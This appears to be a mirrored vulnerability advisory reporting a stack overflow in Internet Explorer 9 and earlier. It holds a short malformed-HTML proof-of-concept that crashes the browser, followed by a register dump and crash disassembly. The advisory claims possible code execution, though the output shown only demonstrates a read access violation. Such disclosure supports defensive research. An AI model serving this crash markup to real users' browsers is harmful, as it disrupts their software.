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Microsoft Internet Explorer 9.x Stack Exhaustion

🗓️ 19 Dec 2012 00:00:00Reported by Jean Pascal PereiraType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Microsoft Internet Explorer 9.x Remote Stack Overflow Vulnerability by Jean Pascal Pereir

Code
`----------------------------------------------------------------------  
Microsoft Internet Explorer 9.x <= Remote Stack Overflow Vulnerability  
----------------------------------------------------------------------  
  
Author: Jean Pascal Pereira <[email protected]>  
  
Vendor: Microsoft Internet Explorer 9.x and below  
  
Description:  
  
The application is prone to a remote stack overflow vulnerability.  
  
Successful exploitation may lead to arbitrary code execution.  
  
----------------------------------------------------------------------  
Proof Of Concept:  
----------------------------------------------------------------------  
  
<table></for xmlns="1">  
<td><datetime><colgroup>  
<id><dd><col>  
</table><object>  
<hr><base>  
  
----------------------------------------------------------------------  
Register Dump:  
----------------------------------------------------------------------  
  
EAX 800706BE  
ECX 763FCDB3 RPCRT4.763FCDB3  
EDX 00000000  
EBX 0604393C  
ESP 003FDDD4  
EBP 003FDDE0  
ESI 003FDE30  
EDI 761AFA10 ole32.761AFA10  
EIP 7629CF51 ole32.7629CF51  
  
----------------------------------------------------------------------  
Crash Instruction:  
----------------------------------------------------------------------  
  
7629CF36 8B4D E4 MOV ECX,DWORD PTR SS:[EBP-1C]  
7629CF39 24 04 AND AL,4  
7629CF3B 0FB6C0 MOVZX EAX,AL  
7629CF3E F7D8 NEG EAX  
7629CF40 1BC0 SBB EAX,EAX  
7629CF42 25 0A010180 AND EAX,8001010A  
7629CF47 8901 MOV DWORD PTR DS:[ECX],EAX  
7629CF49 8B45 E8 MOV EAX,DWORD PTR SS:[EBP-18]  
7629CF4C 50 PUSH EAX  
7629CF4D 53 PUSH EBX  
7629CF4E 8975 D8 MOV DWORD PTR SS:[EBP-28],ESI  
7629CF51 FF70 5C PUSH DWORD PTR DS:[EAX+5C]  
  
----------------------------------------------------------------------  
At 0x7629CF51, a read access violation occurs.  
----------------------------------------------------------------------  
  
Jean Pascal Pereira <[email protected]> || http://www.0xffe4.org  
`

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